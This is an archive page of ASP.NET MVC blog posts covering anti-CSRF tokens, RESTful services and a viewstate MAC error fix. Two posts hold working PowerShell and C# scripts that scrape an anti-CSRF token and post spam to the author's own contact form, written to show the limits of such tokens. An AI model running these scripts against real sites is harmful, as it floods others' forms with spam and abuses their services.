Archive for the ‘ASP.NET MVC’ Category

Hacking Anti Cross-site Request Forgery Tokens (CSRF) With Powershell

December 16th, 2009

I ported the example of how to hack an Anti CRSF Token protected form - previously shown in my post What Are Anti Cross-site Request Forgery Tokens And What Are They Good For? - to PowerShell.

How to hack an Anti CRSF Token from PowerShell

  1. function global:spam-adamdotcom(){
  3.   # Load the assembly containing WebClientWithCookies and RegexUtilities
  4.   [Reflection.Assembly]::LoadFile((Resolve-Path "AdamDotCom.WebClientWithCookies.dll")) | out-null
  6.   # Load the assembly containing System.Web.HttpUtilitiy
  7.   [void][Reflection.Assembly]::LoadWithPartialName("System.Web") | out-null 
  9.   # create a new instance of the HTTP Web Client that supports cookies
  10.   $webClient = New-Object AdamDotCom.Common.Service.Utilities.WebClientWithCookies
  12.   # download the page that contains the Anti CRSF Token
  13.   [void] $webClient.DownloadData("");
  15.   # use a regular expression to grab the Anti CRSF Token
  16.   #  - this is an MVC site so we're looking for a token named "__RequestVerificationToken_Lw__"
  17.   $regex = "__RequestVerificationToken_Lw__=(?<CRSF_Token>[^;]+)"
  18.   $match = [regex]::matches($webClient.ResponseHeaders["Set-Cookie"], $regex)[0]
  19.   $antiCrsfToken = $match.Groups["CRSF_Token"].Captures[0].Value
  21.   write-host "`nYour Anti CRSF Token is: " $antiCrsfToken
  23.   # construct the message including the Anti CSRF Token
  24.   $message = "__RequestVerificationToken=" + [System.Web.HttpUtility]::UrlEncode($antiCrsfToken) +
  25.              "&amp;fromName=Johnathon Fink" +
  26.              "&amp;" +
  27.              "&amp;subject=Call for your diploma now" +
  28.              "&amp;body=Is your lack of a degree..."
  30.   # send spam-spam-spam
  31.   $webClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  32.   [void] $webClient.UploadData("", "POST",
  33.                               ([System.Text.Encoding]::UTF8.GetBytes($message)));
  35.   write-host "`nSuccess!!! Your spam has been sent.`n"
  36. }

To run this script:

  1. Download the script
  2. Run PowerShell
  3. Load the script: .\Automated-AntiCSRF-Authentication-Script.ps1
  4. Start sending spam-spam-spam: PS > spam-adamdotcom

Here's the output as seen on my machine:

  1. PS C:\> .\Automated-AntiCSRF-Authentication-Script.ps1
  2. PS C:\> spam-adamdotcom
  4. Your Anti CRSF Token is:  f54ZlHS3L1Xyl65dYd1uYYh90ygNKYmCswXJUnr0GYtgcrJdJILsQ2jyFotzc10L
  6. Success!!! Your spam has been sent.

This example uses a derivation of the .NET Framework's Web Client class but with Cookies enabled, so it depends on the AdamDotCom.Common.Service.dll assembly (browse the source here). This dependency can be automatically resolved by issuing the download-client function that's also found within the PowerShell script.

Contribute, view, or download the openly available script here: Automated-AntiCSRF-Authentication-Script.ps1

Author: Adam Kahtava Categories: .NET, ASP.NET MVC, PowerShell Tags:

RESTful Web Services: What Are They?

December 4th, 2009

RESTful web services are all the rage these days, and for good reason. Many web based MVC frameworks depend on REST. Here's a crash course on what RESTful web services are and aren't.

REST stands for Representational state transfer. REST is not an architecture, instead it's a set of design criteria. RESTfulness and RESTful web service try to make use of the full gambit of HTTP Methods (GET, PUT, POST, DELETE, OPTIONS, and HEAD), and try to expose every resource or operation in a meaningful URI / URL. RESTful web services are intuitive, and work similar to the way the human web works (meaningful semantic data is returned to the client, resources link to other resources, microformats are employed, and so on).

Qualities associated with RESTfulness:

  • RESTful is the the way the human web works - where the data returned by services can be easily understood by humans (or robots) and usually contain links to other resources
  • RESTful web services use varying response formats. Common formats include: XHTML pages, XHTML microformats, JSON, XML, ad-hoc HTML, JavaScript, or build your own
  • RESTful web services depend on meaningful URIs. These URIs can contain scoping information, but shouldn't contain query requests. For example: when searching for 'kumquat' on Google you're redirected to where your search query is present in the URI. Whereas a URI like specifies the search parameters within the URI - this is not recommended as it implies some predictability, search results are unpredictable
  • RESTful web services also use query variables as inputs to algorithms
  • RESTful web services expose a URI for every piece of data the client may want to operate on
  • RESTful web services make use of HTTP methods (GET, PUT, POST, DELETE, OPTIONS, and HEAD)
  • RESTful web services don't keep the state on the server (that's the client's job), they don't like cookies, and don't like sessions
  • RESTful web services make use of HTTP Headers

Examples of RESTful web services:

Qualities that are not RESTful:

  • Most SOAP or other RPC-Style Architectures where XML messages are placed in the HTTP Body
  • Frameworks that depend heavily on overloaded POSTs and XML (See Safety, Idempotence, and the Resource-Oriented Architecture for more information)
  • Most big corporate web service frameworks are not RESTful. Some frameworks like WCF try to provide REST like functionality on top of a SOAP based API, but these add-ons can be obtuse and unRESTful.

Examples of unRESTful web services:

The growing popularity of web based MVC frameworks is providing a welcomed push towards RESTfulness and the simplicity that it brings, because working with the grain of the web (REST) makes life simpler and more semantically meaningful too. If you want to learn more about RESTful web services then check out Restful Web Services by Leonard Richardson and Sam Ruby.

Author: Adam Kahtava Categories: ASP.NET MVC, RESTful, Services, WCF Tags:

What Are Anti Cross-site Request Forgery Tokens And What Are They Good For?

November 25th, 2009

Anti Cross-site Request Forgery Tokens help prevent Cross-site Request Forgery (CSRF) also known as XSRF - pronounced "sea-surf" - and are usually implemented through a hidden HTML form element that contains a unique ID. This ID is passed along with subsequent requests for data and validated on the server. Anti CSRF Tokens try to ensure the identity of the user. They aren't a replacement for CAPTCHAs and don't prevent robots or web scrapers from manipulating your site - as you'll soon see.

Why use an Anti CRSF Token?

An overly simple example: If I didn't use an Anti Forgery Token on my contact page (see the source code: View or Controller), a Spammer could POST data directly against my contact form and potentially drown me with spam.

Here's a hypothetical form created by an evil Spammer. This form is hosted on (not my site):

<form action="" method="POST">
  <input name="fromName" type="text" value="Johnathon Fink" />
  <input name="fromAddress" type="text" value="" />
  <input name="subject" type="text" value="Call for your diploma now" />
  <textarea name="body">Is your lack of a degree...</textarea>

Again, note that the form action contains a reference to my site (even though it is hosted on another site).

Now, imagine this was a form prompting a user for their username and password. These credentials could be maliciously stored while the user successfully authenticates and is then redirected to the site they thought they were visiting - the way phishing usually works.

After adding an Anti CRSF Token to my contact form, a Spammer can't access my form remotely (at least not without the token). My contact form with it's Anti CRSF Token:

<form action="/contact/send" method="post" name="contact">
  <input name="__RequestVerificationToken" type="hidden" value="0sAqY1ZKb+Qia4..." />
  <input name="fromName" ...

Note the presence of the RequestVerificationToken.

Said Spammer, can't abuse my form without including the unique token. Technically speaking the Spammer can still abuse my form, but he now needs to:

This is pretty easy to do if you have an implementation of a HTTP Client library that supports cookies.

How to hack an Anti CRSF Token protected form

Using an extended instance of .NETs Web Client here's how our Spammer could circumvent my Anti CRSF Token.

The Spamming script by that wascaly Spammer:

// create a new HTTP Web Client that supports cookies
var webClient = new WebClientWithCookies();

//download my contact page containing the Anti CRSF Token
webClient = webClient.DownloadData("");

//parse out the Anti CRSF Token
var antiCrsfToken = RegexUtilities.GetTokenString(
                      new Regex("__RequestVerificationToken=(?<CRSF_Token>[^;]+)")
                      .Match(webClient.ResponseHeaders["Set-Cookie"]), "CRSF_Token");

//now the Spammer can drown me in spam-spam-spam
// by scraping my Anti CRSF Token and posting it into my form
webClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
byte[] response = webClient.UploadData("", "POST",
                              "__RequestVerificationToken=" + antiCrsfToken +
                              "&fromName=\"Johnathon Fink\"" +
                              "&fromAddress=\"\"" +
                              "&subject=\"Call for your diploma now\"" +
                              "&body=\"Is your lack of a degree...\""));

The Spammer is back at their old tricks sending me more Spam. ARGH!

What's the use of an Anti CRSF Token?

Anti CRSF Tokens help prevent phishing attacks. They aren't meant to prevent spammers or Dr Robotnik and his robots (or web scrapers) from running automated scripts against your web application. Keep in mind, that if your site suffers from other XSS vulnerabilities (where the privacy of your cookies or sessions are compromised) then Anti CRSF Tokens don't work at all.

Read more about how Anti CRSF Tokens work here: Prevent Cross-Site Request Forgery (CSRF) using ASP.NET MVC’s AntiForgeryToken() helper or learn more about Cross-Site Request Forgery at: The Cross-Site Request Forgery (CSRF/XSRF) FAQ.

Author: Adam Kahtava Categories: .NET, ASP.NET MVC Tags:

How To Fix the: “Validation of viewstate MAC failed” Error (ASP.NET MVC)

November 23rd, 2009

I run my site on a Windows Shared Hosting account, and every time I updated the assemblies on my ASP.NET MVC site I'd be presented with the "Validation of viewstate MAC failed" error.

The "Validation of viewstate MAC failed" error only occurred when a page contained an HTML form element that made use of MVC's AntiForgeryToken. The quick fix was to delete my __RequestVerificationToken cookie, but the error would rear its ugly head the minute I touched my assemblies. The long term solution was to add a machineKey element to my Web.config file - asking visitors to delete a specific cookies when visiting my site was not a viable option.

How I fixed the "Validation of viewstate MAC failed" error on Shared Hosting:

  1. I used the <machineKey> Generator Tool to generate a machine key
  2. I added the machineKey element to my Web.config file

My Web.config now looks similar to this:

<?xml version="1.0"?>
    <machineKey validationKey="..." decryptionKey="..." validation="SHA1" />

Anyhow, I hope this post helps anyone else that's encountering this error.

Oh wait, here's the error in its entirety for The Google Machine's crawlers:

Server Error in '/' Application.

Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Web.HttpException: Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.

Author: Adam Kahtava Categories: .NET, ASP.NET MVC Tags: